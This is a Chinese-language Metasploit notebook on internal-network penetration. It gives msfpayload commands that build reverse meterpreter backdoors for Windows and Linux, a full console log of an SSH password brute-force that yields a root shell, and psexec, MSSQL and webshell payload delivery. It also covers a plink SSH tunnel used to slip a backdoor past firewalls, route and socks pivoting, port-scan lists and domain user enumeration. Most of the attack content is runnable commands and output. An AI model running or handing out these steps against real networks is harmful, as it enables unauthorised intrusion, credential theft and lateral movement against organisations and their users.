metasploit滲透測試筆記(內網滲透篇)

0x01 reverse the shell


File

通常做法是使用msfpayload生成一個backdoor.exe然後上傳到目標機器執行。本地監聽即可獲得meterpreter shell。

reverse_tcp/http/https => exe => victim => shell

reverse_tcp

windows:

msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe

enter image description here

enter image description here

Linux(x86)

msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t elf -o shell

enter image description here

reverse_http

msfpayload windows/meterpreter/reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe

enter image description here

reverse_https

msfpayload windows/meterpreter/reverse_https LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe

enter image description here

Login privilege

在獲得一些登陸權限之後獲得meterpreter shell的方法。

SSH

ssh_login

模塊路徑:auxiliary/scanner/ssh/ssh_login

msf exploit(sshexec) > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options 

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(ssh_login) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASS
set PASSWORD   set PASS_FILE  
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > exploit 

[*] 192.168.1.104:22 SSH - Starting bruteforce
[*] 192.168.1.104:22 SSH - [1/3] - Trying: username: 'root' with password: ''
[-] 192.168.1.104:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.104:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.104:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.104:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell session 4 opened (192.168.1.105:54562 -> 192.168.1.104:22) at 2014-08-07 22:55:54 +0800
[+] 192.168.1.104:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > sessions 

Active sessions
===============

  Id  Type         Information                       Connection
  --  ----         -----------                       ----------
  4   shell linux  SSH root:toor (192.168.1.104:22)  192.168.1.105:54562 -> 192.168.1.104:22 (192.168.1.104)

msf auxiliary(ssh_login) >

enter image description here

這裏metasploit在探測ssh弱口令時,如果發現存在,則會返回一個linux shell,注意此時不是meterpreter shell。接下來可以使用

sessions –u id

將linux shell升級爲meterpreter shell,本地測試失敗了。:(

sshexec

模塊路徑:auxiliary/scanner/ssh/ssh_login

注意這個模塊BT5下是沒有的,kali中則存在。

msf> use exploit/multi/ssh/sshexec 
msf exploit(sshexec) > set payload linux/x86/meterpreter/reverse_tcp 
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec) > set LHOST 192.168.1.105 
LHOST => 192.168.1.105
msf exploit(sshexec) > set LPORT 8080
LPORT => 8080
msf exploit(sshexec) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(sshexec) > set PASSWORD toor
PASSWORD => toor
msf exploit(sshexec) > exploit 

[*] Started reverse handler on 192.168.1.105:8080 
[*] 192.168.1.104:22 - Sending Bourne stager...
[*] Command Stager progress -  40.39% done (288/713 bytes)
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1228800 bytes) to 192.168.1.104
[*] Command Stager progress - 100.00% done (713/713 bytes)
[*] Meterpreter session 3 opened (192.168.1.105:8080 -> 192.168.1.104:40813) at 2014-08-07 22:53:12 +0800

meterpreter > 

enter image description here

smb

模塊路徑:exploit/windows/smb/psexec

當使用smb_login掃出windows的弱口令時,可以嘗試使用這種方法獲取shell。 這是在內網中獲得windows shell最基本的方法,在登陸域機器時需要設置Domain參數,否則登陸錯誤。

正如之前提到的show advanced,每個模塊都有高級參數設定,這裏的psexec就可以設置advanced中的EXE參數達到執行攻擊者本地任意文件的目的(見參考<1>)。

enter image description here

enter image description here

如果目標機器有殺軟或者其他簡單的防護措施呢? 那麼可以嘗試只執行命令

psexec_command

模塊路徑:auxiliary/admin/smb/psexec_command

enter image description here

這裏需要注意的是psexec.exe(pstools中的工具)如果不能成功執行,那麼psexec_command或許是可以執行的,並且大多數的情況下metasploit中的psexec都可以用,而psexec.exe則不能用 :(

sqlserver

msf exploit(psexec) > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > show options 

Module options (exploit/windows/mssql/mssql_payload):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   METHOD               cmd              yes       Which payload delivery method to use (ps, cmd, or old)
   PASSWORD                              no        The password for the specified username
   RHOST                                 yes       The target address
   RPORT                1433             yes       The target port
   USERNAME             sa               no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires DOMAIN option set)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(mssql_payload) >

enter image description here

在獲得sql server的登陸權限後同樣可以快速的獲得meterpreter shell。

注意這裏METHOD選項,三種方法都要使用XP_cmdshell,而第一種ps是使用powershell,第二種需要使用wscript.exe,第三種則要用到debug.com。 本地沒有環境,就不截圖演示了

others

不管是什麼場景,只要能轉換成文件上傳和執行權限就可以得到shell。在獲得一種權限時當然可以先google一番是否有可適用的腳本,如果沒有再分析是否能轉換爲文件操作和執行權限。如果可以那就可以得到shell了。 比如:

mysql and sqlserver ..etc => file/webshell =>shell

本地同樣也測試了下tunna裏自帶的msf插件,測試了php版的。代碼大致是這樣的

enter image description here

先本地生成一個meterpreter.exe(文件名不隨機),

然後上傳到c:\windows\temp\meterpreter.exe

再通過php的exec函數執行。測試的時候發現代碼生成meterpreter.exe時LHOST參數有誤,改了rb代碼之後終於在錯誤中彈回。

0x02 pivot with metasploit


在獲取到跳板機一定權限後,如何充分發揮跳板功能呢?這部分內容將簡單的介紹幾種常見的方法。

添加路由表

enter image description here

這是在metasploit中最常用的方法,在添加路由表和session的關係後,便可以使用msf中的模塊跨網段掃描或攻擊。方法有很多,這裏有個腳本autoroute可以快速添加路由表(如上圖),也可以將當前session置於後臺(backgroud),然後用route命令添加。

Socks4a代理

這裏使用auxiliary/server/socks4a模塊,需要注意Proxychains不支持ICMP,所以在代理使用NMAP的時候需要使用 –sT -Pn參數。另外Proxychains的連接提示很亂,用kali自帶的Proxychains代理使用sqlmap的時候看起來真的特別亂。在這裏可以使用proxychains-ng。 先在kali中卸載proxychains,然後再安裝proxychains-ng。

enter image description here

root@kali:~# git clone https://github.com/rofl0r/proxychains-ng.git
正克隆到 'proxychains-ng'...
remote: Counting objects: 842, done.
remote: Total 842 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (842/842), 465.92 KiB | 27 KiB/s, done.
Resolving deltas: 100% (554/554), done.
root@kali:~# cd proxychains-ng/
root@kali:~/proxychains-ng#  ./configure --prefix=/usr --sysconfdir=/etc
Done, now run make && make install
root@kali:~/proxychains-ng# make && make install

之後使用proxychains4 -q 選項運行,然後就不會有雜亂混雜的輸出了。

ssh

meta_ssh

當有一個ssh登錄權限後,可以使用這個插件在ssh會話基礎上建立鏈接(見參考<2>)。

enter image description here

enter image description here

之後進入shell,查看網卡IP信息,然後退出再添加路由表。

enter image description here

再嘗試掃描5.5.5.0/24這個段,然後對這個段中的5.5.5.134進行弱口令掃描。

enter image description here

發現可以獲得結果。

ssh/plink.exe

還有一種利用SSH的方式就在windows下使用plink反彈,這樣數據包經過SSH加密後,便可以躲過防火牆的檢測。同理在linux也是一樣的。 首先生成反彈到本地的reverse後門。

msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5566 >  ~/Desktop/backdoor_reverse_localhost.exe

enter image description here

然後開啓本地監聽,再將plink和backdoor.exe通過webshell上傳。然後執行

echo y | plink.exe -L 5566:192.168.6.131:6666 192.168.6.131 -l root -pw toor

之後運行backdoor.exe,meterpreter就通過ssh tunnel建立起來了。

enter image description here

0x03 內網掃描


Metasploit對於常見服務(smb/ssh/mysql/mssql/oracle/ftp/tfp/ …etc)掃描可以做到版本信息(banner)、登錄驗證等。

簡單過程可以參考之前的筆記《msf內網滲透小記》

具體掃描的腳本路徑在/usr/share/metasploit-framework/modules/auxiliary/scanner下,可以根據需求自行發現。

常見的掃描端口: 7,21,22,23,25,43,50,53,67,68,79,80,109,110,111,123,135,137,138,139,143,161,264,265,389,443,445,500,631,901,995,1241,1352,1433,1434,1521,1720,1723,3306,3389,3780,4662,5800,5801,5802,5803,5900,5901,5902,5903,6000,6666,8000,8080,8443,10000,10043,27374,27665

當然也可以使用rc腳本(basic_discovery.rc)。

另外內網裏還有一處信息的蒐集就是snmp,如果有交換機存在snmp弱口令(團體字符串),那麼便可以通過snmp收集路由表信息和VLAN劃分信息等。

一般網絡都會在vlan劃分時備註信息,比如Vlan100是x部門,Vlan200是y部門等等。 不同品牌、型號的交換機在獲取這一信息時所需要的OID可能不同(大部分不一樣),而snmp又是在udp的161端口,在交換機沒有開放ssh、telnet、web時\或者開放以上服務,端口又未能做轉發時,則可以在知道具體的OID值後通過改寫snmp_enumusers.rb腳本實現。

enter image description here

0x04 域滲透相關


推薦幾個AD下滲透的掃描腳本(見參考<3>,下同)

psexec_Loggedin_users

enter image description here

這個腳本可以找到當前段每個IP所登錄的用戶。

local_admin_search_enum

enter image description here

這個可以找到當前登錄管理賬戶的IP和用戶名。

psexec_scanner

enter image description here

批量執行psexec獲得shell,腳本里有個psexec的函數,絕對是改寫的好範本。見參考<4>

更多metasploit關於windows域滲透的腳本見參考<5>

0x05 後記


關於內網及域下滲透並不一定需要metasploit,更多的是與其他工具的配合。而且這一過程思路(見參考<6>)和對AD的理解明顯比會用工具重要。metasploit只是提供了一個自動化發現利用的tunnel,如果簡單理解ruby及metasploit代碼框架,無論是學習還是滲透測試,都將會是一個有力的輔助。另外上文中的示例只是爲讀者所遇情況而構建腳本時的參考。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章